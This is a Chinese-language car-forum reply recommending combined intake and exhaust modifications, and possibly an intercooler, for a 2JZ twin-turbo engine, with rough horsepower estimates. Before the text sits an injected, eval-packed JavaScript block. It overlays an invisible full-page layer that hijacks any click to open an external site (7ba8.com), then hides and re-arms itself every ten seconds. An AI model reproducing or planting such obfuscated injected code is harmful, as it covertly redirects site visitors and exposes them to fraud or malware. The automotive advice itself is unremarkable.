<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>首先,我主张进排气改装是因为,它最基本,成本最低,而且效果比较直接,通常都是改装的第一步骤,也是入门步骤。
其次,我有说过,我不主张响,响也不代表快。 楼主要的是响, 所以我就推荐改排气,又不希望破坏平衡,所以让楼主连进气一起改。 如果能再加改INTERCOOLER就到位了。楼主车是2JZ TWIN TURBO, TURBO虽小,但很有RESPONSE, J ENGINE 原厂的发动机可以承受600HP马力。 略改进排气, 马力轮上应该可以达到240hp以上 |